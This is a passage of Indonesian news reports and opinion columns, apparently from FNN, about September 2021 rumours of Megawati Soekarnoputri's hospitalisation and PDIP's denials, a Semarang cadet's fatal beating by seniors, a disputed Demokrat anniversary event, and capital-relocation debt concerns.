mengatakan dirinya sehat wal'afiat. Ia mengatakan itu ketika memberikan arahan virtual kepada kadernya dalam rangka pendidikan politik, Jum'at siang (10/9/2021). Politikus PDIP Trimedya Pandjaitan sebelumnya juga telah menegaskan tak benar isu bahwa Megawati sedang kritis dan dirawat di ICU. Ia pun mempertanyakan dari mana isu tersebut terus berembus ke publik. “Nggak ada, nggak benar itu. Dari mana isu itu? Yang meniupkan isu itu nggak bertanggung jawab, punya agenda tertentu. Semakin diisukan sakit, ibu Mega malah tambah sehat,” tegas Trimedya. Jika ditelusur dari jejak digital, adalah RMOLJabar.id, Kamis (9 September 2021 | 02:05) yang menayangkan tulisan dengan judul: Megawati Dikabarkan Masuk ICU, Ini Kata PDIP. Kabar itu beredar di aplikasi pesan WhatsApp tengah malam ini. Bahkan, informasi itu tidak hanya beredar di WhatsApp, melainkan ada juga di Twitter. Misalnya, disampaikan akun JafarSalman yang mencuitkan satu pertanyaan, “Benarkah Megawati dirawat di RSPP?” Pengguna akun Imad juga menyampaikan sebuah pertanyaan. “Megawati dilarikan ke RS Pertamina?” tanya Imad yang direspon sejumlah netizen dengan kesan yang tidak percaya. Elit politik PDIP Aria Bima mengaku belum mendapat informasi tersebut. “Saya sudah ditelfon 5 orang wartawan nanya soal ini, tapi saya belum mendapatkan info apapun. Saya juga bingung mau jawabnya,” kata Aria Bima seperti dilansir Kantor Berita Politik RMOL, Rabu tengah malam (8/9/2021). Aria Bima menyatakan dirinya hingga kini masih mencari informasi kebenaran kabar burung tersebut, dan belum berani menyatakan bahwa kabar itu hoaks. “Saya belum dapat informasi dari manapun, saya juga enggak tahu kabarnya,” imbuhnya. Sekjen PDIP Hasto Kristiyanto dalam rilisnya Kamis (9/9/2021) menegaskan bahwa Presiden Kelima RI yang juga Ketum Partai, Megawati Soekarnoputri, dalam keadaan sehat, energik, dan selalu bersemangat. “Kemarin malam pukul 21.00 WIB Ibu Mega masih memberikan arahan terkait program kerakyatan Partai. Pagi ini pun ketika saya menghadap Beliau,” ujar Hasto. Ibu Mega juga terus mencermati situasional terkait pandemi dan juga politik internasional” Seluruh kader partai selalu siap menghadapi serangan fitnah dan hoaks yang ditujukan ke partai dan Megawati dengan penuh kesabaran, keyakinan dan tidak akan menggoyahkan karakter berpolitik Partai yang mengedepankan nilai-nilai ketuhanan, kemanusiaan, kebangsaan, musyawarah dan keadilan sosial. Menurut Hasto, politik membangun peradaban menjadi tema sentral PDIP. “Seluruh gerak kemanusiaan dan kerakyatan partai tidak terpengaruh oleh berbagai fitnah dan hoaks,” ujar Hasto. “Jadi yang berulang kali melempar hoaks Ibu Mega sakit, itu sama sekali tidak sesuai dengan kenyataan yang ada,” tegas Hasto lagi. Pernyataan Hasto ini tidak mungkin dikeluarkan jika tidak ada “restu” dari Megawati atau elit PDIP lainnya. Artinya, sebenarnya rumor Megawati masuk ke RSPP itu sebagai bagian dari “jebakan” bagi pihak lain yang dianggap berseberangan dengan PDIP. Dan benar. Ternyata Megawati masih cukup sehat, meski tampil beberapa dengan daring. Wartawan senior Hersubeno Arief tampaknya akan dilaporkan ke Bareskrim Mabes Polri atas penyebaran berita hoaks Ketua Umum PDIP Megawati Soekarnoputri sakit dan dirawat di RS Pertamina. Pemilik akun YouTube Hersubeno Point FNN itu bakal dilaporkan Koordinator Gardu Banteng Marhaen (GBM) Sulaksono Wibowo ke Bareskrim Mabes Polri. “Walaupun Hersubeno mengatakan, dapat WhatsApp (WA) dari dokter atas sakitnya Megawati perlu diverifikasi tapi ia telah membohongi publik dengan mencatut atas nama seorang dokter,” kata Sulaksono, seperti dilansir Suaranasional.com, Jumat (10/9/2021). Menurutnya, tidak ada dokter yang menyebut Megawati sakit bahkan koma. “Hersubeno tidak bisa mengelak bahwa dokter itu namanya disembunyikan. Biar penyidik kepolisian yang bisa membongkarnya,” paparnya. Kata Sulaksono, GBM sudah meneliti pernyataan Hersubeno Arief termasuk beberapa media online yang memuat pernyataannya. “Untuk media online kami akan laporkan ke Dewan Pers termasuk status hukum perusahaan media online tersebut,” jelas Sulaksono. Selain itu, hoaks yang disebarkan Hersubeno Arief telah membuat kepanikan kader PDIP di berbagai daerah. “Belum lagi Ibu Megawati sangat dirugikan atas berita hoaks itu,” ungkap Sulaksono. Tampaknya GBM tidak cermat dalam menyimak tayangan Hersubeno Point tersebut. Bahwa yang ditayangkan sebenarnya bahannya mengambil dari tulisan media RMOLJabar.id, Kamis (9 September 2021 | 02:05). Situs itupun juga mengutip dari twiter yang disampaikan akun JafarSalman yang mencuitkan satu pertanyaan, “Benarkah Megawati dirawat di RSPP?” Pengguna akun lainnya, Imad juga menyampaikan sebuah pertanyaan. “Megawati dilarikan ke RS Pertamina?” tanya Imad. Jadi, GBM “salah alamat” jika lantas menuding Hersubeno sebagai penyebar hoaks. Sebagai wartawan senior dengan jam terbang tinggi, ia tak akan gegabah dalam menayangkan kabar rumor yang akan disebarkannya. Makanya, dalam penayangan di akun YouTube-nya itu, Hersubeno tampak sangat hati-hati ketika menyampaikan kabar yang sebenarnya sudah ditayangkan oleh RMOLJabar.id itu. Ia juga mengutip pernyataan Aria Bima dan legislator PDIP Rahmad Handoyo. Saya yakin, pejabat sekelas Kabareskrim Komjen. Pol. Drs. Agus Andrianto, SH, MH tidak akan serta-merta menerima begitu saja laporan dari GBM. Karena jenderal bintang tiga ini sudah pasti tahu akan isi Undang-Undang Nomor 40 Tahun 1999 tentang Pers. Apalagi, sekelas Ketua Dewan Pers Prof. M. Nuh yang pernah menjabat Menteri Pendidikan dan Kebudayaan. Pasti sudah ngelontok jika harus bicara soal Hak Jawab dalam UU Pers itu. Saya yakin, akun JafarSalman yang mencuitkan, “Benarkah Megawati dirawat di RSPP?” dan akun Imad yang mempertanyakan, “Megawati dilarikan ke RS Pertamina?” setidaknya mendengar kabar soal Megawati yang dilarikan ke RSPP. Jangan sampai tiba-tiba ada rekaman video yang membuktikan Megawati ketika itu memang sempat dilarikan ke RSPP karena kondisi darurat. Kalau sudah begini, Megawati dan Hasto Kristiyanto bisa dianggap telah melakukan pembohongan publik. Apalagi, dari jejak digital diketahui, Hasto sudah pernah melakukan pembohongan publik terkait kasus hilangnya caleg PDIP Harun Masiku. Yang perlu dicatat, Megawati masih punya hak istimewa sebagai mantan presiden. Jadi kalau dia sakit atau sehat, harus ada statement dari Istana (Presiden Joko Widodo). Tapi, tampaknya sampai detik ini belum ada pernyataan dari Istana. Saya melihat ini permainan dengan motif yang bertujuan untuk menjerat musuh-musuh PDIP. Mereka sedang test the water. Menguji loyalitas! Penulis adalah Wartawan FNN.co.id

Polisi: Mahasiswa PIP Tewas Dianiaya 5 Seniornya

Semarang, FNN - Polisi menetapkan lima taruna Politeknik Ilmu Pelayaran (PIP) Semarang sebagai tersangka penganiayaan yang menewaskan Zidan Muhammad Faza, taruna yang merupakan junior kelima pelaku. Kapolrestabes Semarang Kombes Pol.Irwan Anwar di Semarang, Jumat, mengatakan, penganiayaan yang menewaskan Zidan terungkap setelah polisi mengungkap adanya kejanggalan terhadap laporan awal penyebab kejadian itu. "Jadi penyidik menemukan keganjilan saat menghimpun keterangan pada laporan awal kejadian itu," katanya. Ia menjelaskan, laporan awal tewasnya Zidan disebabkan oleh kecelakaan lalu lintas yang melibatkan salah seorang pelaku yang bernama Caecar Richardo Bintang Samudra Tampubolon. Tersangka mengaku memukul korban setelah terlibat kecelakaan hingga akhirnya meninggal dunia saat dibawa ke rumah sakit. Dalam penyidikannya, polisi menemukan sejumlah kejanggalan ketika menghimpun bukti dan keterangan dari para saksi. Beberapa kejanggalan tersebut, kata dia, warga di sekitar lokasi tentang terjadinya kecelakaan antara korban dan pelaku ternyata menyebut tidak pernah ada peristiwa itu. Selain itu, polisi juga mendapati rekaman CCTV rumah sakit yang menunjukkan bahwa korban dibawa oleh banyak rekannya untuk mendapatkan perawatan. Dari berbagai keterangan dan bukti yang diperoleh, korban ternyata dianiaya oleh lima seniornya itu di luar lingkungan kampus. Kelima senior pelaku penganiayaan yang menewaskan Zidan tersebut masing-masing Caecar Richardo Bintang Samudra Tampubolon, Aris Riyanto, Andre Arsprilla Arief, Albert Jonathan Ompu Sungu, dan Budi Dharmawan. Dari keterangan pelaku, korban dianiaya di Mess Indo Raya di daerah Genukkrajan, Semarang. Korban dianiaya ketika para seniornya itu mengumpulkan para adik kelasnya di luar kampus untuk pembinaan. Dari pemeriksaan, tersangka Caecar menyatakan siap bertanggung jawab atas kejadian itu dengan berpura-pura membuat cerita seolah-olah terjadi kecelakaan yang memicu penganiayaan itu. Atas perbuatannya, para tersangka dijerat dengan Pasal 170 KUHP tentang pengeroyokan yang menewaskan orang lain. (ant, sws)

Demokrat Bubarkan Acara HUT ke-20 Demokrat Moeldoko

Jakarta, FNN - Sejumlah pengurus Partai Demokrat tingkat pusat dan daerah mencopot atribut partai dan membubarkan acara peringatan HUT Ke-20 yang digelar oleh kelompok KLB pimpinan Moeldoko. Kegiatan itu dibubarkan oleh pengurus DPP dan DPD Partai Demokrat Provinsi Banten karena panitia acara secara tidak sah mencatut dan menggunakan atribut partai, kata Kepala Badan Komunikasi Strategis Partai Demokrat Herzaky Mahendra Putra di Jakarta, Jumat. Tidak hanya itu, Herzaky menerangkan kepolisian juga ikut serta membubarkan acara, karena penyelenggara tidak dapat menunjukkan surat pemberitahuan ke aparat dan otoritas berwenang. Beberapa tokoh sentral kelompok KLB semula akan menggelar acara peringatan HUT Ke-20 Partai Demokrat di Hotel JHL Solitaire Gading Serpong, Tangerang pada pukul 19.00 WIB. Namun sebelum acara berlangsung, Ketua DPD Partai Demokrat Provinsi Banten Iti Jayabaya datang langsung ke lokasi untuk memeriksa keabsahan acara. Iti, yang saat ini aktif menjabat sebagai Bupati Lebak, datang ke lokasi acara bersama pengurus DPP, antara lain Wakil Sekretaris Jenderal Partai Demokrat Irwan Fecho, Kepala Badan Pembinaan Jaringan Konstituen Partai Demokrat Zulfikar Hamonangan, dan dua deputi Badan Komunikasi Strategis Partai Demokrat, yaitu Ricky Kurniawan serta Cipta Panca Laksana. "Alhamdulilah, tadi mereka (panitia, red.) sudah sepakat membubarkan dan mencopot atribut Demokrat yang berada di lokasi acara," ucap Iti sebagaimana dikutip dari keterangan resmi Partai Demokrat. Usai mencopot atribut-atribut Partai Demokrat, Iti lanjut mengucapkan terima kasih kepada para kader yang turut bersolidaritas ke lapangan. "Saya mengucapkan terima kasih atas soliditas, komitmen yang ditunjukkan oleh saudara-saudara semua, keluarga besar Partai Demokrat. Saya yakin kita punya slogan yang sama untuk membangun demokrasi yang lebih baik," ujar Iti. Kelompok KLB pimpinan Moeldoko semula berencana menggelar acara peringatan HUT Ke-20 Partai Demokrat, yang salah satunya dimeriahkan acara menonton tayangan tentang sejarah berdirinya Partai Demokrat. Di samping itu, acara lainnya adalah sambutan dari Ketua Panitia, pidato mengenai Lintasan Pemikiran Perkembangan PD oleh Prof. R. M Rompas, Penyerahan Penyuluhan dan Penitipan PD dari Prof S Budhisantoso ke Kepala Staf Kepresidenan Jenderal TNI (Purn) Moeldoko, sambutan dari Moeldoko, serta Sekapur Sirih dari Marzuki Ali dan M Darmizal. Informasi mengenai isi acara diperoleh dari berkas surat undangan berlogo Partai Demokrat, yang diteken oleh Djoko Setyo Widodo selaku ketua panitia. Surat itu, juga mencantumkan nama Hencky Luntungan, salah satu tokoh sentral di kelompok KLB, sebagai tembusan surat. Sejauh ini, pihak-pihak yang disebut namanya dalam undangan belum dapat dihubungi langsung untuk diminta tanggapannya soal undangan acara itu. Walaupun demikian, Darmizal, saat dihubungi di Jakarta, Jumat, mengaku ia tidak mengetahui detail acara karena tengah berada di luar kota. "Kami sedang di luar kota, jadi tidak tahu detailnya," kata Darmizal. Terkait pencatutan nama tokoh senior Demokrat, Herzaky meluruskan bahwa Prof. Subur Budhisantoso tidak mengetahui soal acara itu, dan pihak itu mengaku tidak nyaman dengan pencantuman nama dia dalam surat undangan. Prof. Subur Budhisantoso merupakan ketua umum pertama Partai Demokrat dan ia adalah salah satu tokoh yang menerima penghargaan dari partai pada peringatan HUT Ke-20 di JCC, Jakarta, Kamis (9/9). (ant, sws)

Teras Narang Ingatkan Pemindahan Ibukota Negara Bakal Membengkakkan Utang

Palangka Raya, FNN - Anggota DPD RI Agustin Teras Narang memberikan sejumlah pandangan, sekaligus mengajak semua pihak melihat secara realistis keadaan bangsa dan negara Indonesia, apabila membahas serta menyoroti kelanjutan pemindahan Ibu Kota Negara (IKN) ke Provinsi Kalimantan Timur. Sejak adanya pandemi COVID-19 membuat terjadi perubahan mendasar keuangan negara Indonesia serta konsentrasi pemerintah terfokus pada kesehatan dan ekonomi serta sosial maupun politik, kata Teras usai menjadi pembicara di dialog secara daring bertema 'Suara IKN dari Senator Kita' melalui rilis yang diterima di Palangka Raya, Jumat. "Postur APBN dari tahun 2020 sampai rancangan APBN 2022, fokusnya pun masih terkait penanganan pandemi COVID-19," kata dia. Selain itu, lanjut senator asal Kalimantan Tengah itu, sampai akhir 2021, hutang pemerintah mencapai Rp7.252 triliun. Sementara anggaran negara tersedot untuk membayar bunga hutang mencapai Rp773,3 triliun. Angka itu kemungkinan akan terus melejit sampai pada 2022 dan, kemungkinan pemerintah akan menambah hutang lagi sekitar Rp1.000 triliun. "Data lonjakan hutang dalam tiga tahun terakhir ini, bisa menciptakan jebakan hutang yang berbahaya. Jadi, mempertimbangkan anggaran dan dikaitkan dengan utang negara ini, maka kita harus mengambil sikap berhati-hati," ucap Teras. Menurut dia, faktor lain yang juga perlu diperhatikan dan dicermati adalah terkait payung hukum. Hal itu karena, sepanjang yang diketahui dirinya, dua kabupaten yang akan menjadi lokasi Ibu Kota Negara di Kalimantan Timur, juga belum sepenuhnya siap. Alhasil, penetapan Ibu Kota Negara ini pada akhirnya juga nantinya menjadi Daerah Khusus Ibu Kota, yang namanya sampai saat ini belum diputuskan. Dia mengatakan, wilayah yang menjadi Ibu Kota Negara ini, akan terpisah dari Provinsi Kalimantan Timur, sehingga memerlukan payung hukum. Ditambah lagi, pendekatan ke elemen masyarakat dan peningkatan kualitas SDM mendukung Ibu Kota Negara itu, terkesan belum berlangsung baik. "Jadi, saya menilai persiapan pemindahan Ibu Kota Negara ini, belum sepenuhnya seperti yang diharapkan. Itulah kenapa saya mengajak semua pihak, realistis melihat keadaan bangsa dan negara Indonesia sekarang ini jika ingin menyoroti kelanjutan pemindahan Ibu Kota Negara," demikian Teras Narang. Dialog secara daring bertema 'Suara IKN dari Senator Kita' yang dilaksanakan Kaltim Post itu juga turut menghadirkan Anggota DPD RI dari Kalimantan Selatan Habib Aburrahman Bahasyim, serta dari Kalimantan Timur Aji Mirni Mawarni. (ant, sws)

Hersubeno Itu Membahas Berita Hoax, Bukan Membuat Hoax

By Asyari Usman GARDU Banteng Marhaen (GBM), ormas yang berafiliasi ke PDIP, mengatakan mereka akan melaporkan wartawan senior, Hersubeno Arief, dengan tuduhan menyebarkan berita hoax mengenai Ketum PDIP Megawati Soekarnoputri yang diberitakan dirawat di ruang ICU Rumah Sakit Pusat Pertamina (RSPP), Jakarta. Dalam acara “Hersubeno Point” (HP) edisi 9 September 2021, Mas Hersu (panggilan akrab Hersubeno) membahas rumor tentang Bu Mega yang diberitakan sedang sakit berat. Wartawan FNN ini menguraikan kronologi rumor yang dimunculkan oleh entah siapa. HP mengutip bantahan para kader senior PDIP terhadap rumors tentang Bu Mega itu. Ada Sekjen PDIP Hasto Kristiyanto dan Wasekjen Sadarestuwati yang dengan tegas membantah rumor itu. Dikutipkan pula oleh Mas Hersu jawaban Aria Bima, juga kader senior PDIP, bahwa dia tidak punya informasi tentang Bu Mega sakit. Ketua GBM Sulaksono Wibowo, yang mengatakan dia akan melaporkan Mas Hersu ke Bareskrim Polri, perlu menyimak kembali dengan saksama tayangan HP yang mau dia laporkan itu. Kalau Pak Sulaksono memutar ulang video YouTube yang telah ditonton hampir 390 ribu kali itu, dan perhatikan betul kalimat demi kalimat yang diucapkan oleh Mas Hersu, tidak mungkin menvonis tayangan ini dengan label hoax. Mengapa? Karena yang hoax itu adalah rumors tentang Bu Mega sakit dan dirawat di ruang ICU RSPP. Sedangkan acara “Hersubeno Point” itu justru membahas rumors yang terbukti hoax itu. Mas Hersu bukan membuat dan menyebarkan berita hoax tentang Bu Mega sakit. Pak Sulaksono jelas sangat keliru menyimpulkan konten yang disiarkan atas nama Forum News Network (FNN) itu. Berita hoax tentang Bu Mega sakit adalah juga berita. Artinya, melaporkan atau membahas berita hoax sama dengan membahas berita apa saja yang bukan hoax. Yang dilakukan Mas Hersu bukan ikut membagikan berita hoax itu. Dia membicarakan benar atau tidak rumor Bu Mega yang dikatakan sakit itu. Jadi, kalau Pak Sulaksono berkeras bahwa Mas Hersu yang membahas berita hoax disebut sebagai penyebar hoax, berarti Polisi akan menangkap banyak wartawan yang membuat laporan tentang perampokan atau pencurian karena mereka bisa dituduh merampok atau mencuri.[] (Penulis wartawan senior FNN)

Dikabarkan Sakit, Megawati Ternyata Sehat

Jakarta, FNN - Rumors yang menyebutkan Ketua Umum DPP PDI Perjuangan Megawati Soekarnoputri sakit, terbantah sudah. Jumat (10/9/2021) kemarin, ia hadir secara virtual dari kediamannya di Jalan Teuku Umar, Menteng, Jakarta Pusat, dalam pembukaan Sekolah PDIP, di Jalan Lenteng Agung, Jakarta Selatan. Dalam acara tersebut, Megawati menyapa masyarakat, terutama kader PDIP dan mengabarkan dirinya dalam keadaan sehat walafiat. Megawati berada di Teuku Umar bersama Bendahara Umum PDIP, Olly Dondokambey dan Ketua DPP PDIP, Eriko Sotarduga. Sedangkan Sekretaris Jenderal PDIP, Hasto Kristyanti berada di Lenteng Agung bersama Kepala Sekolah Partai PDIP, Komaruddin Watubun, Wasekjen Sadarestuwati, dan Ketua DPP PDIP, Djarot Saiful Hidayat, Sukur Nababan, serta Ribka Tjiptaning. Megawati mengaku Hasto memintanya untuk membolehkan acara yang awalnya akan diadakan tertutup, untuk dilaksanakan terbuka. Sebab dua hari terakhir, ramai beredar isu bahwa Megawati sedang sakit dan dirawat akibat situasi kritis di Rumah Sakit Pusat Pertamina, Jakarta Selatan. "Pak Sekjen bilang, Ibu nanti acara pembukaannya terbuka supaya umum juga bisa melihat kalau alhamdulillah saya dalam keadaan sehat walafiat, tidak kurang suatu apa pun. Dan terimakasih atas perhatiannya dan doanya," kata Megawati dalam siaran persnya. Megawati mengaku bingung karena ada saja orang yang menyebarkan berita bohong. Hingga Jumat pagi, sekretaris pribadinya menyampaikan kiriman gambar dari seseorang yang menyebutkan dirinya kritis. Seseorang itu adalah mantan menteri saat Megawati menjabat presiden. "Sampai menanyakan sama sekretaris saya, sampai mengatakan jangan ditutup-tutupi, ini saya dapat dari teman saya. Seperti seseorang sedang berbaring di rumah sakit tetapi tubuh saja, wajahnya tertutup. Saya bilang sama sekretaris saya, kamu ndak usah ngamuk-ngamuk lah. Biarkan saja lah orang," kata Megawati. "Sampai saya bilang kita ini kan ada yang punya. Serahkan saja sama Yang Punya (Tuhan, red). Kalau mereka sendiri mungkin lupa sampai bisa membuat hoaks yang sangat mengarah kepada saya, kalau menurut saya, sesuatu yang berlebihan," ujarnya sebagaimana dikutip dari Antara. Hasto pun setelah beredar isunya Megawati sakit dan dirawat sampai menangis. "Saya bilang kenapa nangis. Orang itu tahu kalau itu tidak benar. (Hasto bilang) Saya jengkel banget bu. Ya kenapa jengkel? Anggap saja lah yang namanya menunjukkan, orang tentunya ada yang suka ada yang tidak suka kepada kita," tutur Presiden ke-5 RI itu. Kepada pengurus dan kader PDIP dari seluruh Indonesia yang hadir secara virtual, Megawati mengatakan kejadian ini memperkuat prinsip. Semuanya harus tetap teguh, solid, sabar serta tegar dalam menjalankan prinsip partai. "Yang namanya soliditas, teguh, sabar, tegar, adanya di sini (Megawati menunjuk dada). Jadi bukan kayak dinding, dinding yang bisa dijebol," ucap Megawati. (MD).

Rumors Sakitnya Megawati dan Pingsannya Bung Karno

Oleh: Selamat Ginting SEJAK Kamis (9/9/2021), informasi seputar kondisi kesehatan Ketua Umum PDIP Megawati Soekarnoputri (74 tahun), menyita perhatian saya. Apakah betul Megawati mengalami stroke dan dirawat di RSPP Jakarta? Hingga kini belum ada penjelasan resmi dari pihak keluarga. Memang ada penjelasan dari Sekjen DPP PDIP Hasto Kristiyanto yang membantah rumors tersebut. Tapi sebagian publik tak lagi percaya Hasto. Terutama setelah namanya dikaitkan dengan kasus suap aktivis PDIP Harun Masiku. Sudah sekitar dua tahun Harun Masiku menghilang. Publik menunggu jawaban langsung dari Ketua Umum DPP PDIP Megawati. Minimal ada gambar aktivitasnya untuk menjawab keraguan publik. Tetapi hingga kini belum ada jawaban dari Megawati. Megawati adalah orang kuat dalam blantika politik Indonesia. Ia ketua umum terlama dalam sejarah partai politik Indonesia. Menjadi ketua umum selama 28 tahun. Bisa jadi, ia juga salah satu ketua umum partai politik terlama di dunia. Sebuah ironi partai menyandang nama demokrasi, namun tidak ada sirkulasi posisi ketua umum. Sama ironinya dengan partai menyandang nama demokrat, namun 'dikuasai' keluarga SBY. Entah model demokrasi apa yang digunakan oleh Megawati dan SBY, dua mantan Presiden RI. Publik tentu punya persepsi masing-masing. Kembali ke soal rumors kondisi kesehatan Megawati. Wajar saja jika kondisi kesehatannya tidak lagi prima. Apalagi usianya 74 tahun. Adiknya, Rachmati belum lama wafat pada usia 71 tahun. Ayah mereka, mantan Presiden Sukarno, wafat dalam usia 69 tahun. Saat Sukarno jatuh sakit pada 4 Agustus 1965. Ia menderita vasospasme serebral, penyempitan pembuluh darah arteri otak. Dunia politik Indonesia juga berubah dengan cepat. Bahkan memicu eskalasi ketegangan sebelum peristiwa G.30S/PKI. Sakitnya Bung Karno juga membuat Perdana Menteri Cina Zhou Enlai gusar. Ketua CC PKI DN Aidit yang sedang mengunjungi Pemimpin Cina Mao Zedong pun segera balik ke Tanah Air. Begitu juga Wakil Ketua CC PKI Nyoto segera balik dari Uni Soviet. Cina khawatir jika Sukarno meninggal dunia, Indonesia akan dipimpin Jenderal AH Nasution yang anti PKI dan dekat dengan kelompok Islam serta diduga akan didukung Amerika Serikat. PKI memprediksi jika Nasution yang menjadi Presiden, PKI akan 'dihabisi'. Begitulah pembahasan pembicaraan Aidit dengan Mao Zedong. PKI segera membuat angkatan kelima di luar AD, AL, AU, Polri. Yakni buruh dan tani dipersenjatai. Senjata-senjatanya dari Cina, seperti senjata Cung. Jenderal Nasution dan Jenderal Yani secara terbuka menentang angkatan kelima. Presiden Sukarno kecewa pada Yani yang sependapat dengan Nasution. Aidit lebih memilih mengambil aksi 'terlebih dahulu'. Meletuslah peristiwa G30S bersamaan dengan Hari Nasional Cina (RRC) 1 Oktober 1965. Kembali ke soal kondisi kesehatan Megawati. Tentu doa terbaik untuk mantan Presiden ke 5 RI. Namun jika betul Megawati sakit, bahkan bila hingga wafat secara alamiah, akan mengubah peta politik di kandang banteng. Faksi-faksi berdasarkan fusi partai tahun 1973 akan muncul kembali. Siapa yang akan menjadi ketua umum pengganti Megawati? Posisi anaknya, Puan Maharani belum begitu kuat, baik secara nasional maupun di dalam partai. Berjuta baliho Puan belum mampu mengangkat popularitas dan elektabilitasnya. Termasuk di dalam partainya. Dan sudah barang tentu akan terjadi gonjang ganjing politik nasional yang dahsyat. Apakah petugas partai, Presiden Jokowi akan tergoda untuk 'ambilalih' partai mocong putih? Kita tunggu dinamika politik tingkat tinggi di Tanah Air. Penulis adalah pengamat politik dari Universitas Nasional, Jakarta.

Megawati, Demokrasi, dan Feodalisme

Oleh: Yusuf Blegur "Sementara itu Megawati belum muncul di media memberikan klarifikasi, begitupun anak kandungnya yang politisi dan Ketua DPR, Puan Maharani bahkan tidak memberikan keterangan apapun. Publik semakin penasaran menunggu kepastian desas-desus kondisi kesehatan Ketua Umum partai politik yang kuat mengusung kekuasaan pemerintahan Jokowi. Seperti biasa media mainstream bungkam menunggu momen yang tepat, media sosial agak panas menyorotinya." Dunia maya ramai berseliweran membincangkan sosok Megawati Soekarno Putri. Kali ini tidak terkait statemen politiknya yang sering heboh ataupun kebijakan partai politik yang dipimpinnya. Juga bukan soal hubungannya dengan orang suruhannya yang menjadi petugas partai. Kali ini para netizen menyoroti soal kesehatan sosok yang pernah menjadi presiden ke-5 RI. Memang masih simpang-siur beritanya. Mengenai kondisi Megawati yang dikabarkan dalam keadaan kritis dirawat di rumah sakit. Kebanyakan kader partai berlambang Banteng gemuk itu seperti enggan membuka suara atau lebih aman menyatakan belum tahu kepastian informasinya. Sebagian lagi menyatakan kabar itu adalah berita bohong atau hoax. Seperti yang baru saja disampaikan di media oleh Sekjen PDIP Hasto Kristianto. Apapun keberadaan dan keadaan Megawati saat ini, membuktikan beliau merupakan sosok yang menarik, pro-kontra, dianggap berpengaruh dan sangat menentukan perjalanan sistem politik kenegaraan Indonesia selama lebih dari dua dekade ini. Terlepas dari sisi positif dan negatifnya. Terlepas lebih membawa kebaikan atau menjadikan kelemahan bagi rakyat, negara dan bangsa. Benar atau tidaknya kondisi kesehatan Megawati terkait kondisi kritis kesehatannya. Sebagai rakyat yang kental dengan nilai Islami dan menjunjung tinggi peradaban timur, tentunya rakyat mendoakan Megawati dalam keadaan sehat wal a'fiat dan in syaa Allah senantiasa dalam keselamatan dan dilindungi Allah SWT. Aamiin ya Robbal Alamin. Menariknya, ada dua hal penting yang bisa dijadikan tolok ukur kepemimpinan dan menakar peta politik nasional dari kondisi tersebut. Pertama, seandainya Allah SWT memberikan kesehatan, kesempatan dan in syaa Allah memiliki keleluasaan melanjutkan perjalanan peran hidupnya. Rasanya ini menjadi momen yang penting bagi Megawati melakukan refleksi dan evaluasi terhadap eksistensinya selama ini. Sebagai orang yang pemimpin partai besar hingga saat ini dan pernah mengelola pemerintahan dan sebagai kepala negara. Menjadi keharusan bagi Megawati untuk lebih bisa menjadi negarawan ketimbang sekedar politisi. Ia hendaknya bisa meresapi sekaligus menginsyafi "sense of crisis" dan "sense of minded" dari situasi kenegaraan dan kebangsaan saat ini. Kehidupan rakyat yang saat ini penuh diliputi keprihatinan dan penderitaan. Semestinya bisa menggugah perasaan eling dari putri sulung Bung Karno itu. Lewat kebijakan partai dan kuatnya posisi tawar terhadap presiden. Megawati sudah sepantasnya berkontribusi besar mengambil langkah penyelamatan rakyat dan negara dari krisis multidimensi. Salah satu pemimpin reformasi itu, berkewajiban menghidupkan demokrasi yang sehat bagi kehidupan kebangsaan. Bukan malah sebaliknya ikut menjerumuskan bangsa ini pada jurang pandemi yang lebih dalam, wabah korupsi yang meluas, situasi kritisnya konstitusi dan kedaulatan negara. Hentikan menyuburkan serba sekuler dan liberal, juga komunisme. Saatnya kontemplasi Megawati menguatkan jiwanya pada cita-cita mendiang ayahnya dan para pendiri bangsa lainnya. Kedua, Megawati mau atau tidak mau, suka atau tidak suka, tidak ada pilihan lain untuk melakukan dekonstruksi dan rekonstruksi bangunan kepartaian dan pemerintahan. Termasuk mengembalikan pendulum ideologi negara yang semakin oleng. Megawati hendaknya berjuang keras, bertanggungjawab dan jujur mengembalikan dan melaksanakan Panca Sila dan UUD 1945 menjadi amalan bagi kehidupan bangsa dan negara. Buang dan enyahkan segala ambigu dan kontradiksi terhadap perwujudan amanat penderitaan rakyat. Perilaku otoritarian dan diktator dalam kehidupan partai politik sudah sepantasnya dihilangkan. Jangan lagi mempertontonkan praktek-praktek anti demokrasi dalam demokrasi. Lawan behaviour yang terus memelihara feodalisme, menciptakan pertentangan kelas dan mencabut akar religius. Begitu juga dalam kehidupan bernegara berbangsa. Jangan paksakan politik dan ideologi yang memasung kemerdekaan rakyat. Jangan mengembalikan lagi kehidupan rakyat dalam cengkeraman kolonialisme dan imperialisme. Megawati khususnya dan para kolaborator pemangku kepentingan lainnya. Harusnya bisa mengharamkan eksploitasi manusia atas manusia dan eksploitasi bangsa atas bangsa. Bukan malah menjadi pelakunya dan ikut menghancurkan republik. Pada akhirnya bagi kita semua tanpa terkecuali, seperti lantunan Ebiet Gunung Ade. Mumpung kita masih diberi waktu. Mumpung masih ada kesempatan memperbaiki kesalahan dan menyiapkan bekal akherat. Penulis, Pegiat Sosial dan Aktifis Human Luhur Berdikari.

PDIP Pasca-Megawati

By M Rizal Fadillah ISU Megawati dilarikan ke Rumah Sakit viral di media sosial. Konon diberitakan berada di ruang ICU dan koma. Petinggi PDIP ada yang membantah dan menyatakan Mega sehat. Adapula kader yang bingung. Wartawan Senior Hersubeno Arief mengabarkan dari teman dokter bahwa Mega di RS itu benar. Ada yang mendoakan sehat tapi ada juga yang berharap wafat. Netizen menyikapi dengan beragam tanggapan yang sejalan dengan prinsip mengepak kebhinekaan dalam pemberitaan. Di luar soal informasi yang simpang siur itu cepat atau lambat Megawati dipastikan akan meninggalkan dunia politik baik disebabkan oleh kematian ataupun uzur. Persoalannya bagaimana nasib PDIP sepeninggal Megawati ? Sebagai Partai besar tentu dampaknya besar pula. Siapkah Puan menjadi pelanjut kepemimpinan trah Soekarno ? Yang sudah berada pada jalur politik saat ini memang hanya Puan Maharani. Ia mantan Menteri Koordinator dan kini Ketua DPR RI. Baliho mulai banyak terpasang untuk mengakselerasi jalan menuju istana. Meski cukup berat tetapi ia adalah ahli waris Soekarno terdepan. Memang ada Guruh Soekarno Putera namun nampaknya bidang seni lebih menyedot perhatiannya ketimbang politik. Istana akan melirik PDIP dan mencoba menancapkan pengaruh. Jokowi dan tangannya akan berupaya "merebut" posisi. Apakah Jokowi sendiri, menitipkan putera, atau orang kepercayaan yang akan ditanam untuk menguasai singgasana. Ada Ganjar, Luhut, atau Tjahyo Kumolo. Jika Luhut yang dimaksud maka hal itu mengingatkan operasi Moeldoko saat mengkudeta Partai Demokrat. Jokowi tak mau gagal kali ini. PDIP tetap membutuhkan pemimpin dari 